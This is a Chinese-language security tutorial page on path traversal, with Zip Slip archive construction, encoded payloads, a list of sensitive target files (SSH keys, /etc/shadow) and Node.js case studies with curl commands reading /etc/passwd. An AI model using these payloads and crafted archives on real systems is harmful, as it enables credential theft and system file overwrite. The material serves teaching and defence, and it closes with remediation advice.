Skip to content

Latest commit

 

History

History
511 lines (383 loc) · 41.7 KB

web_vul_PathTraversal.md

File metadata and controls

511 lines (383 loc) · 41.7 KB

简介

  • 漏洞名称:目录穿越(Directory traversal) 路径穿越(Path traversal)
  • 漏洞原理:攻击者通过可控的输入,通过"参数值"、"构造的压缩文件"等形式,将构造的"路径"传递给后端逻辑,实现路径穿越。
  • 漏洞案例: CVE - directory traversal

漏洞场景

  • 漏洞场景:任意文件"CURD"操作 即 写入(新建+覆盖) 修改 读取 删除 都可能存在目录穿越漏洞.
    • 新建文件 - 上传压缩文件功能(常见于 手动更新升级包 恢复配置信息 等功能)
      • 例1 上传zip文件 如果后端解压逻辑直接解压文件 未考虑压缩包中的条目名称(文件名)可能包含../ 则存在目录穿越漏洞. 可构造压缩包进行利用
    • 新建文件 - 上传文件功能
      • 例2 如果后端接受了文件名 且未考虑文件名中的../ 直接拼接路径与文件名 则存在目录穿越漏洞. 可构造文件名进行利用 ../filename.txt覆盖任意文件
    • 读取文件 - 下载文件功能.
      • 例3 如果后端接受了文件名 且未考虑文件名中的../ 直接拼接路径与文件名 则存在目录穿越漏洞. 可构造文件名进行利用 ../filename.txt读取任意文件
    • 修改文件 - 编辑文件功能.(常见于 文件管理功能 能够编辑文件信息、重命名文件)
      • 例4 如果后端接受了文件名 且未考虑文件名中的../ 直接拼接路径与文件名 则存在目录穿越漏洞. 在文件管理功能处 重命名文件为../etc/passwd 实现读取任意文件

漏洞危害

  • 利用思路

    • 读取 - 主机信息搜集
    • 写入 - 获取权限
    • 删除 - 重新安装web应用获取权限
  • linux - 参考linux文件字典dictionary/file_linux_path.txt

    • web目录
      • "读取" - 读取web目录下的配置文件/应用代码等
      • "写入" - 把webshell内容写入到目标主机web目录文件中 得到webshell
    • 凭证信息
      • /root/.ssh/id_rsa ~/.ssh/id_rsa ssh私钥
      • /root/.ssh/authorized_keys 文件内容为公钥和主机名
        • "读取" - 目标机的该文件只是知道了哪些主机可以公钥登录这台主机.
        • "写入" - 该文件则可使攻击者主机登录目标机.
      • /root/.ssh/id_ras.keystore
      • /root/.ssh/known_hosts
      • /etc/passwd 登录用户名
        • "写入" - 覆盖鉴权认证文件,把已知ssh账号口令的/etc/passwd写入到目标主机 攻击者可使用ssh口令登录目标机
      • /etc/shadow 登录口令密文
        • "读取" - 可用rainbow table破解(概率不大)
    • 敏感日志文件
      • /root/.bash_history用户历史命令记录文件
      • /root/.mysql_history MySQL历史命令记录文件
      • WEB应用日志等
    • 基本信息
      • /proc/version内核版本号
      • /proc/cpuinfocpu信息
      • /proc/meminfo内存信息
    • 中间件
      • root权限下读取/var/lib/mlocate/mlocate.db /proc/self/cmdline 通常可发现tomcat相关信息
    • 代码信息 读取web应用的代码做代码审计
      • Java中Tomcat的WEB-INF目录下的WEB-INF/web.xml等配置文件 得到.class等文件的路径字符串
      • PHP php.ini
    • 配置信息(可获得 凭证 ip port 域名 URL路径 .log等文件路径)
      • 数据库配置 redis redis.conf
      • 数据库配置 MySQL /etc/my.cnf /etc/mysql/my.cnf
      • 中间间配置 Nginx nginx.conf
      • 中间间配置 Apache httpd.conf
    • 进程信息
    • 计划任务信息
    • 网络与ACL信息
      • 获取ssh的ACL信息 /etc/hosts.allow中的IP被允许登录该主机ssh 而/etc/hosts.deny中的IP被禁止登录该主机的ssh
      • 获取IPv4的ACL策略 /etc/sysconfig/iptables IPv6的ACL策略/etc/sysconfig/ip6tables
      • 获取目标主机的TCP连接 /proc/net/tcp
      • 获取目标主机的UDP连接 /proc/net/udp
      • 获取目标主机的ARP缓存 /proc/net/arp
      • 从hosts获取域名及ip 可能有内网相关信息 /etc/hosts
  • windows - 参考windows文件字典dictionary/file_windows_info.txt

基础知识

系统相关

root directory directory separator
Unix-like OS / /
Windows <drive letter>:\ \ or /

Unix-like OS(macOS下实际测试)

上级目录
../

当前目录
./

查看上级目录下的1.txt的命令有很多(因为./表示当前目录 加多个也不影响 没作用)
直接查看
cat ../1.txt

在跨目录之后使用./
cat .././1.txt
cat ../././1.txt

在跨目录之前使用./
cat ./../1.txt
cat ././../1.txt

在跨目录之前之后都使用./
cat ./.././1.txt
cat ././../././1.txt

测试方法

payload - 参数值字符串

使用dotdotpwn.txt或手工进行fuzz

# Encoding and double encoding
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../ 
%2e%2e%5c represents ..\
%2e%2e\ represents ..\ 
..%5c represents ..\ 
%252e%252e%255c represents ..\ 
..%255c represents ..\

# Web容器对form和URL中的"百分比编码"执行一级解码(one level of decoding)
..%c0%af represents ../ 
..%c1%9c represents ..\ 

payload - 压缩文件

  • 压缩文件 解压过程实现目录穿越
    • 压缩文件中的文件名 - 压缩包中的文件名带有.. 在压缩包提取过程中 覆盖任意文件
    • 压缩文件中的文件为符号链接文件 - 期望通过解压symlinks文件 得到其指向的真实文件的内容
      • zip压缩包 成功 解压得到了symlinks文件指向的真实文件的内容
      • tar压缩包 失败 解压得到了symlinks文件自身
      • 其他压缩文件格式 暂未测试

例1 - Zip Slip系列漏洞

原理

参考ZIP File Format Specification可知 压缩包内的文件名 可带相对路径(而不能带绝对路径 根路径)

       4.4.17.1 The name of the file, with optional relative path.
       The path stored MUST NOT contain a drive or
       device letter, or a leading slash.  All slashes
       MUST be forward slashes '/' as opposed to
       backwards slashes '\' for compatibility with Amiga
       and UNIX file systems etc.  If input came from standard
       input, there is no file name field.  

由此实现

构造压缩文件 -> 解压该压缩文件(archive extraction) -> 目录穿越导致任意文件写入(Arbitrary File Write) -> 远程命令执行

压缩文件类型 理论上包括tar, jar, war, cpio, apk, rar, 7z...

构造压缩文件的过程 - tar文件

构造特殊的压缩文件:因为常规zip软件不会允许待压缩文件 带有字符串../的文件名 所以使用对应标准库来创建

evilarc/evilarc.py

# 构造压缩文件
# testfile为解压后的文件
# --depth指定有几个../
# --os 为win时即指定路径分割符为反斜杠\ 为其他字符时则为正斜杠/
# --output-file指定文件名和后缀 支持的后缀有
# --path指定穿越后的目录

# 打开1.tar(无则新建) 添加3个文件 testfile 222 111
python evilarc.py testfile --os=unix --depth=1 --output-file=1.tar --path=admin/manage
python evilarc.py 222  --os=unix --depth=2 --output-file=1.tar -p admin/Bdir
python evilarc.py 111  --os=unix --depth=0 --output-file=1.tar

查看压缩文件详情

# 查看压缩文件详情的命令
7z l 1.tar
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)

Scanning the drive for archives:
1 file, 10240 bytes (10 KiB)

Listing archive: 1.tar

--
Path = 1.tar
Type = tar
Physical Size = 10240
Headers Size = 7680
Code Page = UTF-8

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2019-05-12 12:39:36 .....            7          512  ../admin/manage/testfile
2019-01-13 17:40:49 .....          686         1024  ../../admin/Bdir/222
2019-01-12 19:19:22 .....          726         1024  111
------------------- ----- ------------ ------------  ------------------------
2019-05-12 12:39:36               1419         2560  3 files

解压

(bsdtar 2.8.3 - libarchive 2.8.3)

用mac自带的tar进行解压 tar -xvf 1.tar 结果显示如下

x ../admin/manage/testfile: Path contains '..'
x ../../admin/Bdir/222: Path contains '..'
x 111
tar: Error exit delayed from previous errors.

实际只有文件111是解压成功的,而同一压缩包的其他两个文件因为文件名包含了..而解压失败.(tar默认是禁止提取 文件名包含了..的文件)

构造压缩文件的过程 - zip文件解压特殊文件名实现目录穿越

覆盖/etc/passwd文件 前提 有root权限

# 将passwd文件放到压缩包中 目录为../etc/passwd
python evilarc.py passwd --os=unix --depth=1 --path etc --output-file=1.zip
python evilarc.py passwd --os=unix --depth=2 --path etc --output-file=1.zip
python evilarc.py passwd --os=unix --depth=3 --path etc --output-file=1.zip
...

以便于“盲”覆盖目标系统中的/etc/passwd文件

构造压缩文件的过程 - zip文件解压symlinks文件实现目录穿越

创建一个符号链接文件(symlinks)

ln -s ../etc/passwd pass

文件名pass

文件大小19 bytes

构造zip压缩包 将该文件压缩

python evilarc.py pass --os=unix --depth=0 --output-file=1.zip

解压

unzip 1.zip

解压过程无任何报错 提取出了一个文件

文件名:pass

大小:7kb

内容与etc/passwd完全相同

成功.

Zip Slip漏洞列表

参考自zip-slip-vulnerability/README.md

受过影响的库(现已修复)

Affected Libraries

Vendor Product Language Confirmed vulnerable Fixed Version CVE Fixed(diff)
npm library unzipper JavaScript YES 0.8.13 CVE-2018-1002203 17/4/2018
npm library adm-zip JavaScript YES 0.4.9 CVE-2018-1002204 23/4/2018
Java library codehaus/plexus-archiver Java YES 3.6.0 CVE-2018-1002200 6/5/2018
Java library zeroturnaround/zt-zip Java YES 1.13 CVE-2018-1002201 26/4/2018
Java library zip4j Java YES 1.3.3 CVE-2018-1002202 13/6/2018
.NET library DotNetZip.Semverd .NET YES 1.11.0 CVE-2018-1002205 7/5/2018
.NET library SharpCompress .NET YES 0.21.0 CVE-2018-1002206 2/5/2018
Go library mholt/archiver Go YES e4ef56d4 CVE-2018-1002207 17/4/2018
Oracle java.util.zip Java * No High Level API Documentation Fix N/A
Apache commons-compress Java * No High Level API Documentation Fix N/A 23/4/2018
.NET library SharpZipLib .NET YES v1.0.0 CVE-2018-1002208 19/8/2018
Ruby gem zip-ruby Ruby * No High Level API N/A
Ruby gem rubyzip Ruby YES CVE-2018-1000544
Ruby gem zipruby Ruby * No High Level API N/A
Go library archive Go * No High Level API N/A
Python library tarfile Python YES N/A
C++/qt library quazip C++ YES 0.7.6 CVE-2018-1002209 12/6/2018
Clojure library Raynes/fs Clojure YES akvo/fs 20180618-134534.a44cdd5b N/A 18/6/2018
Go library cloudfoundry/archiver Go YES 24/5/2018 N/A 24/5/2018

受过影响的项目(现已修复)

Projects Affected and Fixed

Vendor Product Fixed date(diff) Fixed version CVE Vulnerable Code
Apache Storm Storm 2/5/2018 1.1.3, 1.2.2 CVE-2018-8008 #1 #2 #3 #4
Apache Software Foundation Apache Hadoop 30/5/2018 #1 #2 2.7.7, 2.8.5, 2.9.2, 3.0.3, 3.1.1 CVE-2018-8009
Apache Maven
Apache Ant 21/4/2018 1.9.12 CVE-2018-10886
Pivotal spring-integration-zip 3/5/2018 1.0.1 CVE-2018-1261
Pivotal spring-integration-zip 10/5/2018 1.0.2 CVE-2018-1263
HP Fortify Cloud Scan Jenkins Plugin 27/4/2018 1.5.2 #1
OWASP DependencyCheck 7/5/2018 3.2.0 CVE-2018-12036
Amazon AWS Toolkit for Eclipse 31/5/2018
SonarSource SonarQube 4/5/2018 6.7.4 LTS, 7.2 #1
Cinchapi Concourse 30/5/2018 #1
Orient Technologies OrientDB 31/5/2018 #1 #2
FenixEdu Academic 30/5/2018 #1
Lucee Lucee 5/6/2018 5.2.7.63, 5.2.8.47 #1
groovy-common-extensions groovy-common-extensions 3/7/2018 0.7.1 #1
fabric8 fabric8 5/6/2018 2.2.170-85 #1
Apache Tika 19/9/2018 1.19
Apache DeepLearning4J 10/24/2018 1.0.0-SNAPSHOT

例2 - 黑名单不完整

参考[Total.js] Path traversal vulnerability allows to read files outside public directory

代码仓库 https://github.com/totaljs/framework

环境搭建

git clone https://github.com/totaljs/emptyproject
cd emptyproject
npm install [email protected]
node debug.js

漏洞利用

# 因为以下URL中并没有../ 所以不必用--path-as-is选项避免"压缩"
curl -i "http://0.0.0.0:8000/%2E%2E/controllers/default.js"
curl -i "http://0.0.0.0:8000/%2E%2E/public/robots.txt"
curl -i "http://0.0.0.0:8000/%2E%2E/debug.js"

# 读取.js .txt 文件成功 (无法读取没有后缀的文件 某些后缀的文件 取决于配置)

漏洞分析

存在目录穿越漏洞的代码 第8088行 https://github.com/totaljs/framework/blob/3fd5788ef28f3caf944d76a1135ab367bc0953b8/index.js#L8088

// req.uri.pathname的值:  如访问1.com/path/name 则 req.uri.pathname为/path/name

// 遍历每一个字符 和它的下一个字符 (除了最后一个 因为最后一个字符没有下一个字符)
for (var i = 0; i < req.uri.pathname.length - 1; i++) {
	var c = req.uri.pathname[i];
	var n = req.uri.pathname[i + 1];
	
	// 逻辑:如果字符串req.uri.pathname存在黑名单字符串则返回404
	// 这里黑名单为 ./  .%  %2e  注意 没有%2E
	if ((c === '.' && (n === '/' || n === '%')) || (c === '%' && n === '2' && req.uri.pathname[i + 2] === 'e')) {
	//return 404
	}

//...

修复之后

const TRAVELCHARS = { e: 1, E: 1 };
// ...

// req.uri.pathname的值:  如访问1.com/path/name 则 req.uri.pathname为/path/name

// 遍历每一个字符 和它的下一个字符 (除了最后一个 因为最后一个字符没有下一个字符)
for (var i = 0; i < req.uri.pathname.length - 1; i++) {
	var c = req.uri.pathname[i];
	var n = req.uri.pathname[i + 1];
	// 逻辑:如果字符串req.uri.pathname存在黑名单字符串则返回404
	// 这里黑名单为 ./  .%  %2e %2E
	if ((c === '.' && (n === '/' || n === '%')) || (c === '%' && n === '2' && TRAVELCHARS[req.uri.pathname[i + 2]])) {
	//return 404
	}

//...

例3 - 单次替换非法字符串

代码仓库

[email protected]

环境搭建

# macOS 10.14.4
cd /Users/xxx/Downloads

# Install the module
npm install -g [email protected]

# Run the server
http-live

漏洞利用

# Attempt to access a file from outside that project's directory
# 其中curl的参数--path-as-is 表示"Do not squash .. sequences in URL path" 不压缩url路径中的..

# 构造payload如下 都成功了

# payload1  将 `/../` 替换为 `//../../`
curl --path-as-is http://localhost:8080//../../../../etc/passwd
# 最终绝对路径为/Users/xxx/Downloads/../../../etc/passwd

# payload2  将 `/../` 替换为 `/./.././`
curl --path-as-is http://localhost:8080/./../././../././../././.././etc/passwd
# 最终绝对路径为/Users/xxx/Downloads/.././../././../././.././etc/passwd
# 为了便于理解 可以自行去除其中无实际作用的./ 得到与绕过方式1相同的最终绝对路径 /Users/xxx/Downloads/../../../../etc/passwd

payload1绕过过程分析 查看文件bin/http-live可知后端逻辑如下

# 71行 var pathname = url.parse(req.url, true).pathname;
# 直接从url中获取pathname的参数值 得到 //../../../../etc/passwd
# 72行 pathname = pathname.replace("/../","");  将参数值中的`/../` 替换为空 仅替换一次(修复无效 可被绕过).
# 此时 pathname参数值变为 /../../../etc/passwd
# 90行 拼接得到绝对路径 abspath = process.cwd() + pathname; #注意 process.cwd()返回当前目录/Users/xxx/Downloads 注意结尾不是斜杠符号
# 92行 此时绝对路径abspath值为 /Users/xxx/Downloads/../../../etc/passwd
# (所以构造payload时url中8000后面必须有两个连续的/才对 否则路径构造错误 文件不存在 跳出 返回404)
# 93行 if (fs.existsSync(abspath)) {  // 路径正确 文件存在	
# 94行 fs.readFile(abspath, function(err, data) { // 将绝对路径实参 abspath 传入到fs.readFile函数
# 98行 res.write(data); //将文件内容作为response body
# 99行 res.end(); //返回响应
# 实现了任意文件读取.

可见1.0.7 的修复

diff: https://github.com/prahladyeri/http-live-simulator/commit/354644525f1626c5921abac10913c0d47f1f1433

关键代码在bin/http-live中的72-74行 是将参数值中的/../替换为空 循环替换 直到不存在/../为止 如下

while(pathname.indexOf("/../") != -1) {
		pathname = pathname.replace("/../",""); //fix for path traversal bug
	}

为什么只用/测试 而不用\测试? 因为在这个例子中用到node库中url.parse函数 它会把\转换为/ 参考node自带库中url.parse的定义 https://github.com/nodejs/node/blob/master/lib/url.js

小结 - 测试readFile函数

测试一下node自带的fs模块中的readFile函数

1.读取普通文件(files)

# 读取普通文件 将文件内容转化为文本 输出
var mypath = "/Users/xxx/Downloads/../../../etc/passwd";fs.readFile(mypath,function(err,data){console.log(data.toString())})
# 如果过滤不严格可以实现目录穿越.

2.对"符号链接文件"(symlinks)的读取都是"预期行为"(expected behavior)

# 创建一个名为symfile的符号链接文件 指向../1.txt
ln -s ../1.txt symfile

# 用`readFile`函数读取它:一个名为symfile的符号链接文件
var mypath = "/Users/xxx/Downloads/symfile";fs.readFile(mypath,function(err,data){console.log(data.toString())})

# 结果:实际上可以读取到"符号链接文件"指向的真正文件的内容 规定目录之外的文件1.txt的内容也可以读取到

# 对"符号链接文件"(symlinks)的读写是目录穿越漏洞吗? 不是
# 因为 "符号链接文件"(symlinks)只能在本机有效,不存在真实的攻击场景.(上传任何symlinks到别的主机都不可能实现)
# 所以 对"符号链接文件"(symlinks)的读取都是"预期行为"(expected behavior)

修复与防御

  • 限制web应用可访问的目录
    • PHP 在配置文件php.ini中指定open_basedir的值,如windows下用;分割open_basedir = D:\soft\sites\www.a.com\; linux下用分割/home/wwwroot/tp5/:/tmp/:/var/tmp/:/proc/
  • web应用设计-避免路径可控(尤其关注"文件操作类"的功能与函数)
  • web应用设计-循环替换"某些字符串"为空 如.. ./ .\ \\ //等 并 使用编程语言函数获取"将要解压的文件夹路径"的"规范路径名" 并判断它是否以预期设计的合法的"目的文件夹"开头
  • web应用设计-使用成熟的压缩解压操作库 避免文件解压过程中出现路径穿越漏洞